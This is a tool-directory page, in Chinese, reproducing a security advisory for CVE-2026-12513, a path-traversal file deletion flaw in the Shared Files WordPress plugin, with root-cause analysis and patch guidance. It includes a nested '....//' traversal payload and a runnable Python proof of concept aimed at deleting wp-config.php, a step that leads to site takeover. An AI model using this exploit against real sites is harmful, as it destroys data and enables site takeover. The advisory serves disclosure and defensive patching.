Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-12513 — 技术公告及针对 CVE-2026-12513 的概念验证,该漏洞为 Shared Files WordPress 插件中通过路径遍历实现未认证的任意文件删除,包含根本原因分析与修复指导。 | Kitploit
工具/GitHubGitHub/minhhk68/cve-2026-12513
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubminhhk68/cve-2026-12513

CVE-2026-12513

技术公告及针对 CVE-2026-12513 的概念验证,该漏洞为 Shared Files WordPress 插件中通过路径遍历实现未认证的任意文件删除,包含根本原因分析与修复指导。

查看仓库
8小时32分前尚未审核
网站

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-12513:Shared Files < 1.7.68 — 未认证任意文件删除(路径遍历)

CVE Identifier CVSS v3.1 Score Discovered By WPScan Verified Advisory License: MIT


📖 公告概述

CVE-2026-12513 是一个影响 Shared Files 和 Shared Files Pro WordPress 插件(版本低于 1.7.68)的未认证任意文件删除漏洞,通过路径遍历实现,由网络安全研究员 Huynh Kien Minh(MinhHK)发现并分析。该缺陷存在于插件的前端文件提交处理流程中,用户提供的文件路径使用存在缺陷的单次遍历模式替换进行过滤,可通过嵌套序列(如 ....//)绕过。因此,未认证的远程攻击者可以提交指向预期上传目录之外的被操纵路径,以攻击关键服务器资产,包括 wp-config.php。当管理员随后清除或永久删除上传条目时,应用程序会对存储的任意路径调用文件系统删除原语()。这会导致核心 WordPress 配置文件被销毁,引发严重的拒绝服务,并通过未配置的安装设置实现站点接管。首席研究员 Huynh Kien Minh 在 CVSS 3.1 评分 6.8(中危)(CWE-73 / CWE-22)下评估了此漏洞,建议立即将插件更新至 1.7.68 或更高版本,并实施稳健的规范路径验证。

unlink()

快速链接: 探索研究员的官方网络安全作品集或查看 WPScan 已验证公告。


📌 执行摘要与技术元数据

参数技术规格
漏洞标识符CVE-2026-12513
目标软件Shared Files / Shared Files Pro(WordPress 插件)
插件标识shared-files、shared-files-pro
受影响版本< 1.7.68
修复版本>= 1.7.68
漏洞类别文件名或路径的外部控制 / 路径遍历(CWE-73 / CWE-22)
CVSS v3.1 评分6.8(中危)(CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H)
发现者 / 研究员Huynh Kien Minh(MinhHK)
验证机构WPScan / MITRE Corporation
WPScan 公告参考WPScan 报告 25c9fa21-c48b-4333-8abc-87230dc4c869
研究员作品集https://minhhk.web.app/

🔍 深入技术分析与根本原因分析

该漏洞源于 Shared Files(< 1.7.68)前端文件提交处理程序中实现的路径清理机制不充分。

1. 不充分的单次路径清理

在接受前端文件提交时,插件尝试使用单次字符串替换来剥离目录遍历序列(../):

root@kitploit:~
// Shared Files < 1.7.68 中不安全的单次清理过滤器
$file_path = str_replace( '../', '', $_POST['file_path'] );

由于 str_replace() 仅从左到右执行一次:

  • 嵌套遍历载荷:....//....//....//wp-config.php
  • 当从 ....// 中剥离一次 ../ 时,外层字符会重新折叠在一起形成 ../:
    • ....// -> ../
  • 清理后的路径计算结果为:../../../../wp-config.php!

2. 存储文件路径与删除执行链

  1. 未认证提交: 攻击者向前端上传端点发送 HTTP 请求,提供嵌套遍历路径。被操纵的路径存储在数据库中(例如 wp_posts 或自定义插件表中)。
  2. 永久删除触发: 当管理员通过 /wp-admin/admin.php?page=shared-files 审查提交或删除文件记录时,后端会对解析后的存储路径调用 unlink():
root@kitploit:~
// 易受攻击的删除逻辑
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // 触发目标文件删除(例如 /var/www/html/wp-config.php)
}
  1. 灾难性影响: 一旦 wp-config.php 被删除:
    • 数据库凭据和安全密钥丢失。
    • 站点立即进入未配置状态,显示 WordPress 安装向导(/wp-admin/install.php)。
    • 攻击者可以使用新数据库完成安装向导,实现完全远程代码执行(RCE)和站点接管。

💻 概念验证(PoC)漏洞利用代码

道德免责声明: 此概念验证严格用于教育研究、防御性验证以及由 Huynh Kien Minh 在道德披露协议下进行的安全审计。

Python 漏洞利用 PoC(poc_cve_2026_12513.py)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 未认证路径遍历文件删除 PoC
作者:Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] 审计目标:{target_url}")
    
    # 嵌套遍历序列,绕过单次 str_replace('../', '', $input)
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
    
    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }
    
    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] 提交响应状态:{response.status_code}")
        if response.status_code == 200:
            print("[+] 遍历路径成功注入数据库存储。")
            print("[!] 当管理员删除该条目时,目标文件将被 unlink。")
            return True
        else:
            print(f"[-] 请求失败,HTTP 状态:{response.status_code}")
    except requests.RequestException as e:
        print(f"[-] 连接失败:{e}")
        
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)

🛡️ 修复与补丁分析

针对站点管理员

  • 立即将 Shared Files 和 Shared Files Pro 插件更新至版本 1.7.68 或更高版本。
  • 确保 wp-config.php 的文件系统权限对 Web 服务器进程为只读(chmod 400 或 440)。

针对开发者(安全实现)

使用 realpath() 和 wp_normalize_path() 强制实施严格的规范路径解析,确保操作保持在指定的上传边界内:

root@kitploit:~
// 安全路径验证模式(版本 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // 确保解析后的 realpath 严格以指定的基础目录开头
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( '无效或未授权的文件路径。', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}

🏆 关于研究员

Huynh Kien Minh(MinhHK) 是一名信息安全研究员,专注于 WordPress 漏洞研究、核心与插件安全审计以及防御性漏洞利用建模。

  • 网络安全作品集: https://minhhk.web.app/
  • WPScan 公告参考: WPScan 报告 25c9fa21-c48b-4333-8abc-87230dc4c869
  • GitHub 个人主页: https://github.com/MinhHK68

📊 JSON-LD 结构化数据模式标记

root@kitploit:~
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
  "identifier": "CVE-2026-12513"
}
下载工具